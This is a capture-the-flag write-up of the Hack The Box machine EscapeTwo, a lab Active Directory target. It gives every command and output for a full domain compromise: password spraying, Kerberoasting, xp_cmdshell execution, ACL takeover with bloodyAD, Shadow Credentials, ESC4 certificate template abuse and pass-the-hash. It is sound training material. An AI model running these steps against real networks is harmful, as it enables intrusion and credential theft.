root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat escapetwo.md
// writeups

EscapeTwo

11 Jan 2025 · 15 min read
EscapeTwo - maquina de Hack The Box

Executive summary — EscapeTwo is an Easy Active Directory box in assume-breach mode (we're given rose:KxEPkKe6R8su). An SMB Accounting Department share holds Excel files with credentials for several users and for sa (MSSQL); a spray confirms oscar, whose LDAP enumeration reveals the service accounts sql_svc and ca_svc (Kerberoasting them goes nowhere). With sa and xp_cmdshell we get a shell as sql_svc, and a sql-Configuration.INI leaks a password reused by ryan (WinRM, user.txt). In BloodHound, ryan has WriteOwner over ca_svc: with bloodyAD we take ownership and grant ourselves GenericAll, apply Shadow Credentials, and abuse an AD CS template vulnerable to ESC4 to issue an Administrator certificate. Path: xlsx -> sa/MSSQL -> ryan -> ca_svc (WriteOwner) -> ADCS ESC4 -> Administrator.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.6.78

Attack map

[assume-breach] rose : KxEPkKe6R8su  (SMB)
   |  "Accounting Department" share -> accounts.xlsx leaks sa/angela/oscar/kevin
   v
[spray] oscar valid -> netexec --users/--rid-brute reveals sql_svc, ca_svc, ryan
   |  Kerberoasting (sql_svc, ca_svc) -> hashes not cracked (dead end)
   v
[MSSQL]  sa : MSSQLP@ssw0rd! -> xp_cmdshell -> shell as sql_svc
   |  sql-Configuration.INI -> reused password -> ryan
   v
[ryan]  WinRM -> BloodHound: ryan WriteOwner over ca_svc
   |  bloodyAD: owner + GenericAll -> Shadow Credentials -> ca_svc hash
   v
[ADCS]  ca_svc -> ESC4 on DunderMifflinAuthentication -> Administrator cert
   v
[ADMIN]  Pass-the-Hash -> root.txt

1. Preparation: name resolution

Several certipy commands later on depend on the domain controller's hostname resolving correctly. Better to pin it in /etc/hosts up front than discover it mid-attack.

echo "10.129.6.78 dc01.sequel.htb sequel.htb dc01" | sudo tee -a /etc/hosts
ping -c1 dc01.sequel.htb

This makes the attacking box resolve dc01.sequel.htb, sequel.htb and dc01.

2. Validating the initial credential

This is an assume-breach scenario: we already start with a domain credential, rose:KxEPkKe6R8su. We validate it against SMB:

netexec smb 10.129.6.78 -u 'rose' -p 'KxEPkKe6R8su' --shares
# host: DC01  |  domain: sequel.htb  |  Windows 10 / Server 2019 Build 17763 x64
# rose authenticates successfully
# visible shares: Accounting Department, Users, NETLOGON, SYSVOL

Accounting Department stands out right away: that kind of share usually holds internal documentation, a classic HTB hiding spot for credentials.

3. Share enumeration and document download

Watch the exact share name: it's Accounting Department, not "Departament" (an easy typo to make writing it from memory).

smbclient \\\\10.129.6.78\\'Accounting Department' -U 'rose'
smb: \> ls
smb: \> get accounts.xlsx
smb: \> get accounting_2024.xlsx

Two Excel files available: internal documents reachable over SMB, the machine's first big pivot.

4. Credentials inside the Excel file

An .xlsx is really a ZIP archive, so it opens normally and its sheets can be read. accounts.xlsx holds a table of users and passwords; accounting_2024.xlsx only has billing data, no use for exploitation.

angela : 0fwZ704mSpurII9
oscar  : 86LxLBMgEWaKUnBG
kevin  : Md9W1q1E5bZnVDv0
sa     : MSSQLP@ssw0rd!

Key point: these credentials aren't guessed or cracked, they're discovered inside an internal document from the accounting department.

5. Credential spray against the domain

With four new credentials plus the ones we already had, the next step was validating them against the domain with a spray:

angela
oscar
kevin
sa
rose
sql_svc
ca_svc
michael
ryan
Administrator
0fwZ704mSpurII9
86LxLBMgEWaKUnBG
Md9W1q1E5bZnVDv0
MSSQLP@ssw0rd!
KxEPkKe6R8su
netexec smb 10.129.6.78 -u users.txt -p passwords.txt --continue-on-success

(The correct flag is --continue-on-success, not --continue-on-access, which is what I tried first.) Spray results:

rose  : KxEPkKe6R8su   [valid]
oscar : 86LxLBMgEWaKUnBG   [valid]
angela / kevin -> don't authenticate over domain SMB
sa -> not a domain account, it's SQL Server's local account

6. Domain enumeration with oscar

With oscar authenticated, enumeration widens: shares (same permissions as rose), domain users and a RID brute:

netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --shares
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --users
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --rid-brute
# --users reveals service accounts: sql_svc, ca_svc
# --rid-brute confirms more groups/departments, and that ca_svc and sql_svc
# exist as domain objects (key for what comes later)

7. Kerberoasting (a dead end)

With service accounts identified, Kerberoasting was worth a shot: a weak password on either one cracks offline without touching the DC more than once.

impacket-GetUserSPNs sequel.htb/oscar:86LxLBMgEWaKUnBG -dc-ip 10.129.6.78 -request
KRB_AP_ERR_SKEW (Clock skew too great)

Kerberos requires the attacker's clock and the DC's to be reasonably in sync; the skew needs fixing (e.g. syncing the local clock against the DC) before retrying. After that, TGS tickets come back for sql_svc and ca_svc:

grep krb5tgs hashes.txt > hash2.txt
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz   # rockyou still compressed
hashcat -m 13100 hash2.txt /usr/share/wordlists/rockyou.txt

The attack runs but cracks nothing: these service accounts have passwords strong enough to resist a dictionary. That path is dropped in favor of the MSSQL pivot.

8. MSSQL as sa

The sa:MSSQLP@ssw0rd! credential found in the Excel isn't a domain account — it's the local account with administrative privileges over the SQL Server engine itself. It's validated with local authentication:

netexec mssql 10.129.6.78 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
(sequel.htb\sa) Pwn3d!
impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@10.129.6.78

9. xp_cmdshell and host enumeration

sa controls SQL Server, so xp_cmdshell gets enabled to run operating system commands:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- or, impacket-mssqlclient's built-in shortcut:
enable_xp_cmdshell

xp_cmdshell whoami
sequel\sql_svc

Important: sa has administrative control of the database, but system commands run as the service account sql_svc, not as SYSTEM or as sa.

xp_cmdshell "dir C:\Users"
xp_cmdshell "whoami /priv"
# C:\Users -> Administrator, Public, ryan, sql_svc
# whoami /priv -> sql_svc has no exploitable local privileges
# (nothing like SeImpersonatePrivilege): Potato-style techniques are ruled out

xp_cmdshell keeps disabling itself and needs re-enabling repeatedly, and PowerShell reverse shells fight back over quote escaping and listeners. Pushing further down that road turned out unnecessary: the next finding was enough to move on.

10. Reused password in the SQL install

Enumerating the disk turns up the SQL Server installation directory, and inside it a configuration file with plaintext credentials:

xp_cmdshell "dir C:\"
xp_cmdshell "type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SAPWD="MSSQLP@ssw0rd!"

The SQL installation's configuration file leaks the service account's own password, which turns out to be reused by a domain user.

11. WinRM as ryan

netexec winrm 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3'
evil-winrm -i 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3'
*Evil-WinRM* PS C:\Users\ryan\Documents> cd C:\Users\ryan\Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt

12. BloodHound collection

netexec ldap 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' --bloodhound --collection All --dns-server 10.129.6.78

The generated ZIP is saved under ~/.nxc/logs/, a hidden path that BloodHound's file picker doesn't show by default; toggling "show hidden" (Ctrl+H in the file browser) is needed to select it.

13. WriteOwner over ca_svc

Once the ZIP is loaded into BloodHound, the relevant relationship is clear:

RYAN@SEQUEL.HTB  --WriteOwner-->  CA_SVC@SEQUEL.HTB

WriteOwner lets you change an object's owner, but on its own it isn't full control. Trying Shadow Credentials directly fails:

certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.129.6.78
insufficient access rights

The permission has to be turned into real control in two steps: take ownership, then grant yourself rights over the object you now own:

bloodyAD -d sequel.htb --host 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan

With GenericAll now granted, the Shadow Credentials attack is repeated and this time it returns ca_svc's NTLM hash:

certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.129.6.78
ca_svc NT hash: 3b181b914e7a9d5508ea1e20bc2b7fce
netexec smb 10.129.6.78 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce   # confirms the hash

14. AD CS: a template vulnerable to ESC4

With ca_svc, AD CS gets audited for abusable certificate templates:

certipy find -vulnerable -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 -stdout
Template: DunderMifflinAuthentication
Vulnerability: ESC4  (dangerous write permissions on the template,
                      via membership in the Cert Publishers group)

ESC4 means the template itself is poorly protected: whoever has write permissions on its configuration (here, ca_svc via Cert Publishers) can rewrite it to become as exploitable as a classic ESC1 template (letting the requester supply their own Subject Alternative Name).

certipy template -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
  -template DunderMifflinAuthentication -target dc01.sequel.htb -save-old

certipy saves the original configuration to JSON (-save-old, so it can be restored later) and rewrites the template to accept an arbitrary SAN in the request. With that, a certificate is requested impersonating Administrator:

certipy req -ca sequel-DC01-CA -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
  -template DunderMifflinAuthentication -target dc01.sequel.htb -upn administrator@sequel.htb

Two errors along the way: first a NetBIOS timeout (fixed by making sure /etc/hosts resolves dc01.sequel.htb correctly, the reason for phase 1), then CERTSRV_E_SUBJECT_DNS_REQUIRED because the template requires a DNS name in the SAN. The correct request adds -dns:

certipy req -ca sequel-DC01-CA -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
  -template DunderMifflinAuthentication -target dc01.sequel.htb \
  -upn administrator@sequel.htb -dns dc01.sequel.htb
Certificate stored to file 'administrator.pfx'

15. Authenticating as Administrator

certipy auth -pfx administrator.pfx -dc-ip 10.129.6.78
Got hash for 'administrator@sequel.htb': 7a8d4e04986afa8ed4060f75e5a0b3ff
evil-winrm -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff -i 10.129.6.78
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

Domain fully compromised, from assume-breach to Administrator. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info"Accounting Department" shareMultiple users' and sa's credentials in Excel filesValid SMB account (oscar) + MSSQL access
FootholdMSSQL (sa)xp_cmdshell enabled + sql-Configuration.INI with plaintext passwordShell as sql_svc; password reused by ryan
Lateral movementryan accountPassword reuse between SQL service account and domain accountWinRM as ryan (user.txt)
PrivEsc (ACL)ca_svcLoosely restricted WriteOwner -> ownership + GenericAll -> Shadow Credentialsca_svc NTLM hash
PrivEsc (ADCS)DunderMifflinAuthentication templateESC4: Cert Publishers with write permissions over the templateAdministrator certificate -> Domain Admin (PtH)

Lessons learned

  • Internal documents are gold: a poorly protected Excel file on an SMB share leaked the credentials that kicked off the entire chain.
  • Protect the sa account: disable xp_cmdshell by default and use least-privilege service accounts, with no secrets sitting in readable configuration files.
  • Don't reuse passwords: a SQL installation file's password shouldn't authenticate domain accounts.
  • Strong passwords do work: Kerberoasting sql_svc/ca_svc failed because their passwords resisted rockyou.txt — the one path this attack found closed.
  • BloodHound doesn't grant access by itself: WriteOwner is a starting point, not real control; it has to be converted into ownership plus concrete rights before it can be abused.
  • ACLs on AD CS templates matter: granting write permissions (via groups like Cert Publishers) over a certificate template effectively equals compromising the domain (ESC4).